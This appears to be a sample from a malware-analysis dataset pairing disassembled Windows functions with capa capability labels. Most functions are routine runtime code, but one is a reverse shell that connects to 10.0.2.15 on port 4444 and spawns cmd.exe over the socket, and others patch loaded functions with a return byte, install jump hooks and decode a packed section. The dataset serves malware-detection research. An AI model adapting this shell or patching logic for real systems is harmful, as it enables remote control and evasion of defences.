joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001e90
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001eec
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001ee3
test eax, eax
jne 0x140001ee3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ec8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002220
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002240
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002248
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002240
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000229d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002294
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002240
add rax, 0x28
cmp rax, r9
jne 0x140002280
xor eax, eax
ret

Function at 0x1400022a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000237f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002388
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140002970
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Terminate process

Disassembly:
lea rcx, [0x140001440]
jmp 0x140001410
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.140001530
lea rax, str.10.0.2.15
mov qword [rbp - 8], rax
mov word [rbp - 0xa], 0x115c
lea rax, [0x140003140]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x140003110], rax
mov word [0x140003100], 2
movzx eax, word [rbp - 0xa]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x140003102], ax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x140003104], eax
mov rax, qword [0x140003110]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x140003100]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov r8d, 0x68
mov edx, 0
lea rax, [0x1400032e0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov dword [0x1400032e0], 0x68
mov dword [0x14000331c], 0x100
mov rax, qword [0x140003110]
mov qword [0x140003340], rax
mov rax, qword [0x140003340]
mov qword [0x140003338], rax
mov rax, qword [0x140003338]
mov qword [0x140003330], rax
lea rax, [0x140003120]
mov qword [rsp + 0x48], rax
lea rax, [0x1400032e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov ecx, 0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
nop
nop
nop
jmp 0x140001430
Function at 0x4206e6
Capabilities:
Allocate or change rwx memory

Disassembly:
push r14
xor ecx, ecx
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
call qword [sym.imp.KernelBase.dll_GetModuleHandleW]
lea r9, [rsp + 0x2c]
mov r8d, 0x40
mov rbx, rax
movsxd rax, dword [rax + 0x3c]
add rax, rbx
movzx edx, word [rax + 0x14]
lea rsi, [rax + rdx + 0x18]
mov ecx, dword [rsi + 0xd4]
mov edx, dword [rsi + 0xd0]
add rcx, rbx
call qword [sym.imp.KernelBase.dll_VirtualProtect]
mov edi, dword [rsi + 0xd4]
add rdi, rbx
mov edx, dword [rsi + 0xd4]
mov rax, rdi
sub rax, rbx
sub rax, rdx
mov edx, dword [rsi + 0xd0]
cmp rax, rdx
jge 0x4207ab
cmp dword [rdi], 0
je 0x4207ab
mov ecx, dword [rdi + 0xc]
xor r8d, r8d
xor edx, edx
add rcx, rbx
call qword [sym.imp.KernelBase.dll_LoadLibraryExA]
mov r12, rax
test rax, rax
je 0x4207a5
mov r13d, dword [rdi]
mov r14d, dword [rdi + 0x10]
lea rbp, [rbx + r13]
mov rax, qword [rbp]
test rax, rax
je 0x4207a5
lea rdx, [rbx + rax + 2]
mov rcx, r12
call qword [sym.imp.KernelBase.dll_GetProcAddress]
mov r8, rax
mov rax, rbp
add rbp, 8
sub rax, r13
mov qword [rax + r14], r8
jmp 0x42077b
add rdi, 0x14
jmp 0x420738
xor eax, eax
mov edx, dword [rsi + 0x80]
cmp dword [rsi + 0x88], edx
cmovbe edx, dword [rsi + 0x88]
cmp edx, eax
jbe 0x4207e1
mov ecx, eax
add ecx, dword [rsi + 0x84]
mov edx, eax
add edx, dword [rsi + 0xc]
add rcx, rbx
mov dl, byte [rbx + rdx]
inc eax
xor dl, byte [rcx]
not edx
mov byte [rcx], dl
jmp 0x4207ad
call fcn.00420448
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x42222d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r12
push rdi
push rsi
mov rsi, rdx
push rbx
mov rbx, rcx
sub rsp, 0x48
test rcx, rcx
je 0x42233b
mov al, byte [rbx]
cmp al, 0xeb
jne 0x422257
movsx rax, byte [rbx + 1]
lea rbx, [rbx + rax + 2]
jmp 0x42223c
lea edx, [rax + 0x18]
cmp dl, 1
ja 0x42226a
movsxd rax, dword [rbx + 1]
lea rbx, [rbx + rax + 5]
jmp 0x42223c
inc al
jne 0x4222d9
mov al, byte [rbx + 1]
sub eax, 0x15
test al, 0xef
jne 0x4222d9
movsxd rax, dword [rbx + 2]
mov r8d, 8
mov rdx, rsi
lea r12, [rbx + rax + 6]
mov rcx, r12
call fcn.00422638
test eax, eax
je 0x42233b
lea r9, [rsp + 0x3c]
mov rbx, qword [sym.imp.KernelBase.dll_VirtualProtect]
mov edx, 8
mov rcx, r12
mov qword [rsp + 0x28], r9
mov r8d, 0x40
call rbx
mov r9, qword [rsp + 0x28]
test eax, eax
jne 0x42233b
mov qword [r12], rsi
mov r8d, dword [rsp + 0x3c]
mov edx, 8
mov rcx, r12
call rbx
jmp 0x42233b
lea r12, [rbx - 8]
mov r8d, 8
mov rdx, rsi
mov rcx, r12
call fcn.00422638
test eax, eax
je 0x42233b
lea r9, [rsp + 0x3c]
mov rdi, qword [sym.imp.KernelBase.dll_VirtualProtect]
mov edx, 0x10
mov rcx, r12
mov qword [rsp + 0x28], r9
mov r8d, 0x40
call rdi
mov r9, qword [rsp + 0x28]
test eax, eax
jne 0x42233b
mov qword [rbx - 8], rsi
mov r8d, dword [rsp + 0x3c]
mov edx, 0x10
mov rcx, r12
mov dword [rbx], 0xfff225ff
mov word [rbx + 4], 0xffff
call rdi
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop r12
ret
Function at 0x422345
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push r12
push rbx
sub rsp, 0x48
cmp qword [0x0042a0b0], 0
jne 0x4223db
lea rcx, [0x00428224]
lea r12, [rsp + 0x38]
call qword [sym.imp.KernelBase.dll_GetModuleHandleW]
mov ecx, 3
mov qword [0x0042a0b0], rax
call qword [0x0042b7bc]
mov rbx, qword [0x0042b844]
mov edx, 1
mov rcx, r12
lea r8, [0x004237e0]
call rbx
test eax, eax
jne 0x4223b0
mov rcx, qword [rsp + 0x38]
mov r8d, 2
mov edx, 2
call qword [0x0042b7cc]
lea r8, [0x004237a0]
mov edx, 1
mov rcx, r12
call rbx
test eax, eax
jne 0x4223db
mov rcx, qword [rsp + 0x38]
mov r8d, 2
mov edx, 2
call qword [0x0042b7cc]
cmp qword [0x0042a0a8], 0
jne 0x4223f9
lea rcx, [0x00428238]
call qword [sym.imp.KernelBase.dll_GetModuleHandleW]
mov qword [0x0042a0a8], rax
cmp qword [0x0042a0a0], 0
jne 0x422417
lea rcx, [0x00428256]
call qword [sym.imp.KernelBase.dll_GetModuleHandleW]
mov qword [0x0042a0a0], rax
cmp qword [0x0042a098], 0
jne 0x422435
lea rcx, [0x00428270]
call qword [sym.imp.KernelBase.dll_GetModuleHandleW]
mov qword [0x0042a098], rax
cmp qword [0x0042a090], 0
jne 0x42245a
mov rcx, qword [0x0042a0a8]
lea rdx, [0x00428286]
call qword [sym.imp.KernelBase.dll_GetProcAddress]
mov qword [0x0042a090], rax
cmp qword [0x0042a0d0], 0
jne 0x42247f
mov rcx, qword [0x0042a0b0]
lea rdx, [0x00428295]
call qword [sym.imp.KernelBase.dll_GetProcAddress]
mov qword [0x0042a0d0], rax
cmp qword [0x0042a0c8], 0
jne 0x4224a4
mov rcx, qword [0x0042a0a0]
lea rdx, [0x00428286]
call qword [sym.imp.KernelBase.dll_GetProcAddress]
mov qword [0x0042a0c8], rax
cmp qword [0x0042a0c0], 0
jne 0x4224c9
mov rcx, qword [0x0042a0b0]
lea rdx, [0x004282a8]
call qword [sym.imp.KernelBase.dll_GetProcAddress]
mov qword [0x0042a0c0], rax
cmp qword [0x0042a0b8], 0
jne 0x4224ee
mov rcx, qword [0x0042a0b0]
lea rdx, [0x004282b6]
call qword [sym.imp.KernelBase.dll_GetProcAddress]
mov qword [0x0042a0b8], rax
mov rcx, qword [0x0042a0d0]
lea rdx, [0x004220b0]
call fcn.0042222d
mov rcx, qword [0x0042a0c8]
lea rdx, [0x004220f2]
call fcn.0042222d
mov rcx, qword [0x0042a0c0]
test rcx, rcx
je 0x422562
cmp byte [rcx], 0xc3
je 0x422562
lea r9, [rsp + 0x38]
mov r8d, 0x40
mov edx, 0x10
mov rbx, qword [sym.imp.KernelBase.dll_VirtualProtect]
mov qword [rsp + 0x28], r9
call rbx
mov r9, qword [rsp + 0x28]
test eax, eax
jne 0x422562
mov rcx, qword [0x0042a0c0]
mov edx, 0x10
mov byte [rcx], 0xc3
mov r8d, dword [rsp + 0x38]
call rbx
mov rcx, qword [0x0042a0b8]
test rcx, rcx
je 0x4225b0
cmp byte [rcx], 0xc3
je 0x4225b0
lea r9, [rsp + 0x38]
mov r8d, 0x40
mov edx, 0x10
mov rbx, qword [sym.imp.KernelBase.dll_VirtualProtect]
mov qword [rsp + 0x28], r9
call rbx
mov r9, qword [rsp + 0x28]
test eax, eax
jne 0x4225b0
mov rcx, qword [0x0042a0b8]
mov edx, 0x10
mov byte [rcx], 0xc3
mov r8d, dword [rsp + 0x38]
call rbx
mov rbx, qword [0x0042b634]
lea r8, [0x00423840]
mov edx, 4
or rcx, 0xffffffffffffffff
call rbx
lea r8, [0x00423840]
mov edx, 4
mov rcx, 0xfffffffffffffffe
call rbx
xor edx, edx
lea rcx, [0x004232c0]
call qword [0x0042b83c]
add rsp, 0x48
pop rbx
pop r12
ret
Function at 0x140002b94
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002bde
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002bde
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002bde
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002bde
cmp dword [rcx + 0x84], 0xe
jbe 0x140002bde
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002be0
xor al, al
add rsp, 0x28
ret

Function at 0x1400085e4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140008653
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140008653
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140008653
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140008653
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140008653
cmp dword [rcx + 0x84], 0xe
jbe 0x140008653
cmp dword [rcx + 0xf8], 0
je 0x140008653
mov ecx, ebx
call fcn.1400086f8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400084ec
nop
cmp dword [rbp + 0x20], 0
jne 0x1400086b4
call fcn.14000e0bc
cmp eax, 1
jne 0x1400086a4
xor dl, dl
jmp 0x1400086ae
call fcn.14000e088
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x1400086bf
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400086c8
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1400085e4

Function at 0x1400087cc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400085e4
Function at 0x14000dec0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000def0
xor eax, eax
jmp 0x14000dfb3
mov rbp, rbx
cmp word [rax], si
je 0x14000df15
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000defc
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000def8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000dde0
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x14000df56
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000dee9
call fcn.1400094c0
mov rdi, rax
test rax, rax
jne 0x14000df6c
xor ecx, ecx
call fcn.140009460
jmp 0x14000df4b
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000dde0
test eax, eax
jne 0x14000df9d
mov rcx, rdi
call fcn.140009460
jmp 0x14000dfa7
xor ecx, ecx
call fcn.140009460
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140011d9c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140011db2
mov al, 1
jmp 0x140011e1e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140011dc3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140011e1c
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000e398
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140011e1c
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140011e1c
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140011e1c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140011e1e
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140014b10
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140014b38
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140014b38
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001980
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x140066040]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rcx
mov qword [rsp + 0x38], rcx
lea rax, [rsp + 0x40]
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x1a
xor esi, esi
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x140001b0a
mov qword [rsp + 0x178], rbx
lea rax, [rsp + 0x40]
xorps xmm0, xmm0
mov qword [rsp + 0x180], rbp
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov rbx, 0xffffffffffffffff
mov qword [rdi + 0x18], rsi
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], sil
jne 0x140001a00
movabs rbp, 0x7fffffffffffffff
cmp rbx, rbp
ja 0x140001b1e
cmp rbx, 0xf
ja 0x140001a47
mov r8, rbx
mov qword [rdi + 0x10], rbx
lea rdx, [rsp + 0x40]
mov qword [rdi + 0x18], 0xf
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], sil
jmp 0x140001ad6
mov rax, rbx
or rax, 0xf
cmp rax, rbp
jbe 0x140001a7c
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14004c760
test rax, rax
je 0x140001aa8
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001ab7
mov ecx, 0x16
mov rbp, rax
cmp rax, rcx
cmovb rbp, rcx
lea rcx, [rbp + 1]
test rcx, rcx
je 0x140001ab7
cmp rcx, 0x1000
jb 0x140001aaf
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001b24
jmp 0x140001a61
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004c760
mov rsi, rax
mov r8, rbx
mov qword [rdi], rsi
lea rdx, [rsp + 0x40]
mov qword [rdi + 0x10], rbx
mov rcx, rsi
mov qword [rdi + 0x18], rbp
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov rbx, qword [rsp + 0x178]
mov rax, rdi
mov rbp, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14004c740
mov rsi, qword [rsp + 0x188]
add rsp, 0x160
pop rdi
ret
lea rdx, [0x14004f871]
mov rcx, rdi
call fcn.140001b30
mov rax, rdi
jmp 0x140001ae9
call fcn.140001640
int3
call fcn.1400015a0
int3
Function at 0x140002570
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140002598
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x1400025be
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400025c0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140002619
test ecx, ecx
jle 0x1400025f9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140002619
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140002619
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140002640
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140002662
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140002678
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140002694
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140002696
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400026d2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000276e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000270d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000274e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000276e
cmp rbx, rax
ja 0x140002720
test rbx, rbx
je 0x14000276e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140002bd0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140066040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140002bfd
xor eax, eax
jmp 0x140002d69
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002c37
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140002c37
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140002d69
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140002d5c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140002c7a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002ca5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002d61
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002d14
sub eax, 1
je 0x140002d14
cmp eax, 2
jne 0x140002d5c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002d61
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002d42
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140002d5c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002d61
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14004c740
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret